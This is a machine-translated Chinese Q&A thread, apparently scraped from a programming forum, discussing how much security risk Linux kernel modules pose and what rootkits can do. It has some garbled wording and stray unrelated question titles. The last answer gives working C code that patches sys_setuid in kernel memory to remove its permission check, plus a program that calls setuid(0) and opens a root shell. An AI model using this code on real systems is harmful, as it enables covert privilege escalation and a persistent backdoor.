Linux内核模块有多大的安全风险? 我记得读过,如果有人能够访问,那么他们所要做的就是加载一个rootkit模块。 它是否正确? 有什么办法可以防止这个吗?
内核的哪些部分通过模块接口实际暴露出来,程序员可以访问哪些函数,这些函数可以用于恶意软件的目的?
cpu不转换到更高的C状态
configurationLinux内核(硬加载,内置)当前加载的模块
在用户模式下阅读kallsyms
简单的C文件操作函数,如getc,putc和seek在Linux内核中可用?
什么是内核代码的“__Pcpu_ATTRS”中的“section”?
道格拉斯所说的完全正确,Linux是单片的 ,一个模块可以做任何事情。 这是一个主要由Linus Thorvalds驱动的设计选择,符合开源的理念(为什么限制,性价比高,你可以从源头上看到模块做了什么 – 实际上只是为了真正的书呆子:-)-)。
现在也许你必须从第三方加载一些所谓的二进制模块。 即使他们似乎被编译通常是一个普通的目标文件作为黑盒子,只有周围的接口实际编译(像我使用的nvidia图形驱动程序)。 没有确切的答案,如果你加载这样的模块,你必须相信供应商,如果没有,不要这样做…
只有root才能加载理论上正确的模块。 但实际上,没有一个系统是完美的(甚至是Linux)。 不时有内核漏洞可以使本地用户或远程用户(极少数情况下)能够将代码引入到内核中,这样他们就可以拥有root权限,从而可以控制系统。 有一个内核是最新的是一件好事…
在仔细研究之后,让我们进入到目前为止还没有回答的问题的第二部分:“程序员可以使用哪些函数,这些函数可以用于恶意软件?”。 许多为SE-Linux所做的事情也可以用于恶意目的,例如:
隐藏/proc或/sys目录中的信息,例如隐藏恶意用户进程,以便它们不会显示在top , ps等工具中。 这包括隐藏恶意模块本身,所以它不在lsmod列出。
记录和记录击键…
发送数据到外面的世界。 没有内核模块需要连接到一个站点,并发送信息(除了在原来的linux代码的网络堆栈),如果该模块的代码确实有东西味道不好。 如果某些字符串被加密和解密以进行某些操作,则会变得更糟
…
该列表很大,如果你想了解更多的细节,你可以看看Rootkit Hunter( http://www.rootkit.nl/projects/rootkit_hunter.html )。 这是我不时运行的工具。 它可以检测到一些广泛使用的rootkit的存在。 它管理着一个rootkit列表,并且使用google搜索名字将会让你清楚这些动物所遵循的是什么样的目标。就像道格拉斯说的那样,可以使用的函数实际上是内核中可用的所有函数,没有任何限制。 所以说一个模块是不是一个坏人不是一个明显的事情。
内核模块运行时具有完整的内核特权 – 它可以执行内核可以执行的任何操作,这几乎是任何东西。 一个行为良好的模块会将其作用限制在那些由内核作为符号导出的函数上,但实际上并没有阻止模块调用任何具有该地址的任意函数,或者执行与任何现有函数等效的代码。
保护是只有root可以加载内核模块。
无论如何,Root可以使机器变成任何东西,所以增量风险可以忽略不计。 澄清 – 加载一个模块可能允许root隐藏得更好,或者使用较少的系统信息来操作攻击,但是原则上,由于root可以覆盖内核映像,并将系统重新引导到该映像,所以可以实现一切内核模块可以做到。 由于/ dev / kmem通常是不可写的,所以用户空间根进程可能与内核模块相比有限,但是重写和重启可以“修复”这个问题。
也可能有其他方式来改变内核内存,例如,如果你想隐藏一个进程,你可以使用一个可加载的模块,或者你可以用一个trojaned版本替换ps 。
与隐藏文件类似,您可以使用内核模块,也可以只替换ls 。
你可能想看看这个维基百科
说内核模块是危险的,就像在Windows上说一个驱动程序是危险的。 他们肯定可以 ,但通常不是。 正如Mr.Leeder所说,root可以做任何事情,但我怀疑它可以直接调用kernel api,它需要为它加载一个内核模块(显然可以)。
只是想添加一些文档: Linux coreel modulees HOWTO
我认为这将清除你对安全问题的一些想法。
如果你非常在意,SELinux是你的朋友。
如果root可以像… root一样行事,那么在你的环境中,就有一个问题,那就是有很多可选的Linux配置,root权限让你无处可去。
对于更安全的东西,尝试一个被评估的* IX O / Ses(我已经做了几次评估,但没有一个是开放的O / S),或者使用本质上更安全的O / S,比如某些消息传递种类,其中“服务器”不在环0 /主管/内核模式下运行。
好的一般水平已经答案。 如何在示例代码级查看这个问题,更清楚地说明安装模块后Linux是多么的脆弱。
我的示例模块:
#include <linux/version.h> #include <linux/module.h> #include <linux/highmem.h> #include <asm/unistd.h> char *p; int init_module(void) //0x0ffffffff8107f760 depends on system must be taken from the map { pte_t *pte1; unsigned int dummy_but_needed; p=(char *)(0xffffffff8107f3a0 +0x4d); // Got from /boot System.map.xx.xx.xx pte1 = lookup_address((unsigned long long)p,&dummy_but_needed); pte1->pte |= _PAGE_RW; //Now the code page is writable *(p) = (char)0xeb; //0xeb is the code of the unconditional jmp- we don't care are we allowed to get rights. PrevIoUs was conditional jmp "75". return -1; // Insmod complains and module disappears from the system but module did it's work already } MODULE_LICENSE("GPL");//We don't need cleanup_module
int main() { setuid(0);//Or use asm("mov $0,%rdi; mov $105,%rax; syscall;"); system("/bin/bash"); //rax=system call nr and rdi=first parameter }
这是一个危险的rootkit吗? 不可以。要查找sys_setuid地址,您必须拥有root权限! 实际上每个系统都有这个地址不同。
无论如何,这表明操纵是多么容易。 事实上,通过动态(运行时间)方法来替换使用的常量是非常容易的,这里没有介绍。 (这是一个rootkit,我试了一下,目前没有rootkit的狩猎程序能够找到它,即使它已经存在,并且确实花费了所有的系统调用。)
我用coreel 3.2和AMD64测试了这个。 将不会在其他硬件上工作!
(如何找到所需的常数:
xxxx:/boot$ sudo grep sys_setuid System.map-3.2.0-31-generic [sudo] password for xxxx: ffffffff8107f3a0 T sys_setuid ffffffff810a23f0 T sys_setuid16
)
版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 [email protected] 举报,一经查实,本站将立刻删除。